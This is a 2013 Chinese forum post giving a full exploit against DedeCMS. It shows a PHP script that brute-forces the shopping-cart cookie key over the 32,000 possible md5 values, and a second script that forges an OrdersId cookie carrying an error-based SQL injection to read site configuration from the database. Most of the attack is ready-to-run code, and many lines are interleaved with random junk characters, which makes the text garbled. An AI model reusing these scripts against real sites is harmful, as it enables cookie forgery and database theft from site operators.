找回密码
 立即注册
查看: 2732|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=: f4 `7 G5 U' v
在 include/shopcar.class.php中
, M- s9 [2 B: |) b先看一下这个shopcar类是如何生成cookie的5 a, i, N) |& s- o3 r" L
239      function saveCookie($key,$value)- @& f, \% A, o/ d8 `
240      {
" G+ M' ^9 i8 N! J" H1 t241          if(is_array($value)). ^1 ?, Y- k9 w) B" t6 O7 [
242          {
6 J# |2 g, }) d5 T) j243              $value = $this->enCrypt($this->enCode($value));( W7 y) a" t1 ^7 m: _8 p
244          }
/ `  d) ?7 O4 S* [+ l  ?245          else/ y! K9 m) U7 V
246          {
$ d4 N' V5 L6 q* d( R) }" q247              $value = $this->enCrypt($value);
+ e7 J  V2 ~  o3 J* m7 \248          }
! B5 O. p* q+ Q& ^2 ?249          setcookie($key,$value,time()+36000,’/');8 E, ]( R6 U2 O! f' Y
250      }
1 d. A( c7 m9 R! N简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
7 h  e/ b1 u8 j# O+ a2 F186      function enCrypt($txt)$ R/ Z' z# c- C. p
187      {
+ _3 a) I  H4 `$ {3 P! _188          srand((double)microtime() * 1000000);
! r# {& u/ Z8 M& |7 P189          $encrypt_key = md5(rand(0, 32000));2 p/ h1 d3 n* Y- d. C8 E
190          $ctr = 0;
* ^" D3 L. Q1 p: J+ E191          $tmp = ”;
( o- Q- a; v/ e, U% p+ u192          for($i = 0; $i < strlen($txt); $i++)' }( _5 ~7 v" G) q8 s' E' ]) L- i
193          {
& @9 P5 p5 ?* Q1 V' v/ d194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
0 ?7 x) B' T" [" u/ x9 Z195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
4 @6 l6 \% X, P8 W& h5 |7 m' n196          }; M, t( z5 _$ C5 j2 C
197          return base64_encode($this->setKey($tmp));/ o/ b# X6 j* w
198      }
" z1 [. |4 N, v% t2 ]7 m4 h% G) y213      function setKey($txt)0 j0 V0 C( k/ ?" q
214      {- v; Q& P4 m5 b& N% U- J% x
215          global $cfg_cookie_encode;
5 m) {, S8 s2 h8 \$ T$ r& K216          $encrypt_key = md5(strtolower($cfg_cookie_encode));/ H, w+ @' B; g: D, T
217          $ctr = 0;9 S  s/ V# P# t- o$ G5 j, T$ x
218          $tmp = ”;
- n- I# K6 W; X) s219          for($i = 0; $i < strlen($txt); $i++)7 Z0 Q6 g! z" y) `1 ]2 N5 K3 f
220          {2 D  j  f# V! q) }( L
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
9 }* Y. l1 S' Z4 X# Z222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];" h* P3 P: W$ ~4 Y9 {2 G
223          }
5 ^! E& ^& X7 w/ v* r8 t. r+ o6 o0 B224          return $tmp;
3 S! }5 W8 m& t225      }& P9 n0 A, V! Y
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
# |5 X! r: @/ k3 g- _" X( [然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。( V: L$ E5 m. b$ ~4 M
具体代码如下:% a6 g2 }7 B, ]0 d4 a& F
<?php
+ i* J" L" j7 t1 v* J# A6 Q/ a$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here8 h$ y  Q. n& |! N. P7 p: m. h& F
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
' S. P4 `. w9 Y2 r1 r9 D$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 @4 X  V' R' B; a$ H' bfunction reStrCode($code,$string)# ~3 T7 z9 c& z, w, H6 b( k
{9 P" y! J$ k! D+ \2 y: e
$code = base64_decode($code);
) _6 ]1 D4 R" O8 Z2 U# _4 f& Y$key = “”;# `! o& F. ^4 h6 ^
for($i=0 ; $i<32 ; $i++)$ V* Y/ k5 c% V
{
' _5 Q; R+ i2 `/ ]8 I5 F3 B# P$key .= $string[$i] ^ $code[$i];+ n2 f! ^4 d/ o; ]
}$ b0 r% [& n& g5 w  @; O6 [+ n
return $key;
+ E, Y8 f1 j; C0 D}
' u$ y1 N) b; w+ U# A4 R# afunction getKeys($cookie,$plantxt)  J8 t4 v# J- ?, R. V. m% y
{
! o' `2 s; h6 L" s9 _) T: `) n$tmp = $cookie;3 Y3 E( q, C7 W5 e' T0 w' L+ ~
$results = array();; |+ j9 H1 ?) Q. V, l* ~
for($j=0 ; $j < 32000; $j++)
' I: x6 ^# f. p0 t3 Y; E{9 G8 E- J: s" j. E1 k8 C

4 E% v9 k3 Y9 N+ ?$ }) _$txt = $plantxt;4 C; u; @4 H$ g$ {
$ctr = 0;8 g; H( F( G, a
$tmp = ”;
9 s  N' h! W& U  o" ]3 B8 E$encrypt_key = md5($j);
) P+ m5 S! M; `, z1 Rfor($i =0; $i < strlen($txt); $i ++)
; s2 F( i  |) h; r{
" [7 [4 H( }. F: a# E# r) f$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
  a1 Z+ u$ l2 _- S2 g$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);9 W2 s9 @0 W) I7 l1 H
}
7 c  n( E6 p+ o. h2 H$string = $tmp;" N/ {8 F* d3 T; S6 u* x
$code = $cookie;) s$ Y& S- o1 D9 Y: f8 B- x
$result = reStrCode($code,$string);: `( B+ @1 w4 E2 }+ W6 G+ p
if(eregi(‘^[a-z0-9]+$’,$result))/ W& r( V2 b6 k$ ?
{0 h' T" }% U( k, t9 v7 u: ]
echo $result.”\n”;& _9 q1 x7 {) N/ h: w0 J
$results[] = $result;6 l5 z% f; T# j# y
}" D0 {  p# c! k* {6 m3 Q
}8 O- n9 f. w5 y
return $results;
  K# I' g$ }+ `0 i6 g) P7 t}. ^1 M9 t  u. Y# k
$results1 = getKeys($cookie1,$plantxt);
+ F& t: D' I, L$results2 = getKeys($cookie2,$plantxt);
3 ~4 d) H5 U; d1 S; L7 Qprint “\n——————–real key————————–\n”;% M+ u8 H: w- j/ ]" Z9 `. S0 Q
foreach($results1 as $test1)
* I1 [$ W4 g; V3 ^# c& c; A{
6 P3 b/ K! `6 T' nforeach($results2 as $test2)3 h1 Q5 R7 z$ T! P# g! P' n
{  p7 x$ g( `, M5 P$ y% w6 y7 M$ }
if($test1 == $test2)
' `. S1 t3 l/ W) h6 Z  u3 y' I{
# Q! J5 D) v5 H0 m9 S; hecho $test1.”\n”;# }. n/ }# ~2 x
}# T: I& q6 f1 E& {$ o' i7 T1 @
}. f# h7 G* E, k4 I$ u
}
2 S9 V1 u3 Z! f) {! m?>% E# {! D- ?9 }3 D! x& M
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,5 q" r1 N, x4 ]  I: U0 n
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
% g( R9 r9 b/ V1 O+ ?然后推算出md5(strtolower($cfg_cookie_encode))
9 c* e: M& M% T0 c% i得到这个key之后,我们就可以构造任意购物车的cookie7 D$ i1 g! B4 G+ s8 l# V
接着看
: r% U0 w2 J- D20  class MemberShops
1 F; b2 l( v  c2 ^# o: G0 H! P21  {
/ J6 X7 ~3 o! S2 u1 T22      var $OrdersId;
9 e0 M$ @4 e1 _0 L9 Q* ]" f23      var $productsId;. X: \, r9 R5 R* t8 q/ E- \. L' f
24( L7 g0 U7 {/ M8 f+ a
25      function __construct()
  V5 `' `# {5 \) ^/ V3 d26      {' s" L  `& v7 \% ?5 }
27          $this->OrdersId = $this->getCookie(“OrdersId”);( u- O& H9 a: h0 F1 H4 F
28          if(empty($this->OrdersId))
- e; N1 [! S2 z% E9 R- r4 u% b29          {
+ r. P+ v+ p8 V' F3 Q0 ~; j. Z30              $this->OrdersId = $this->MakeOrders();
4 `9 C1 v: M. I3 }9 v* b5 Z. \1 S31          }
9 T+ j1 v0 Q' Z. {. f; J: ~7 [4 P32      }9 W+ m) b6 \. r3 H# j
发现OrderId是从cookie里面获取的
  `# ~2 O* m  @7 d4 v然后
+ S) c8 {4 K+ i4 q( f/plus/carbuyaction.php中的
* B( @' [' @1 f9 w3 ~% Z29      $cart    = new MemberShops();
6 c  D$ V# |2 v1 d39      $OrdersId = $cart->OrdersId;        //本次记录的订单号9 J& f" y& s& n5 d+ k
……3 Y( @7 y( w) Y' ?8 p
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);/ y- A7 P  z# K2 u! z0 @4 L
接着我们就可以注入了) H5 f9 Y. _0 r* B+ ]5 J$ u. A
通过利用下面代码生成cookie:
$ `' T5 c; ^# c  X: f<?php
% h1 m. k( a7 [$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
  J% d. U+ Y# |$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
4 X9 d3 w% c7 |function setKey($txt)5 `1 L1 \6 V% d0 x# U. a; i
{
  d: s' x# M: b  Fglobal $encrypt_key;9 x9 s+ j" m5 u7 |  `
$ctr = 0;
& X8 v& u; _, O7 F; A2 _9 P+ u$tmp = ”;4 \3 k/ N! y. |* B0 e
for($i = 0; $i < strlen($txt); $i++)7 m4 U) C2 a# _* a
{# z! }1 }# i8 u) H9 e' a2 c
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
8 [9 o& P3 }* k) p) }, u0 g$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];7 U( p' H7 M' h6 h# A! E3 S
}
8 p9 m& w) v: ^7 b4 ?% x& lreturn $tmp;
3 [% E% n7 x" t. W: F2 B9 E}. `. M2 e1 ^8 o0 U4 l/ l& m9 U
function enCrypt($txt)
3 P( J3 ~7 [. f& w! T" H{/ M- h7 f* T* _1 b5 c. L
srand((double)microtime() * 1000000);, _; A( B) v8 V: H$ Q. t/ w
$encrypt_key = md5(rand(0, 32000));
# @! m8 J% W0 H0 f* }$ctr = 0;
0 \; l) h9 |1 Q: {4 N& J$tmp = ”;; f- }) g5 ]2 ^7 x+ _4 F" T$ L/ l
for($i = 0; $i < strlen($txt); $i++)
, z" H5 g- @/ O  v! ^8 N# i3 `{
9 B# t. c+ S; w2 f; t, B, r! }! A& F6 g$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;0 R2 y3 @3 ~% L1 a
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 G1 t! P0 r# ]7 ^}1 ~7 @0 ^  T/ H$ u+ E& D- E
return base64_encode(setKey($tmp));
2 \( X6 ~. o0 i}
# E/ v. k/ B8 B9 m! Zfor($dest =0;$dest = enCrypt($txt);)
9 S# a& g% D. j- D% P{
+ i( X, [* \; v4 D  u+ }4 w' Cif(!strpos($dest,’+'))
7 ]0 S6 F+ E: B1 K{8 v( _# _# ^  d0 U2 p
break;
. Y2 |: _. X* v- L8 P: M- J}
9 Y8 M" V* O" R% ]# b2 [7 S}- W/ k3 T, P# Q
echo $dest.”\n”;
. d* v$ H4 O9 `; c?>
" P; R- i# {6 h2 B
" H  {- Z$ ]  R5 y. s, h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表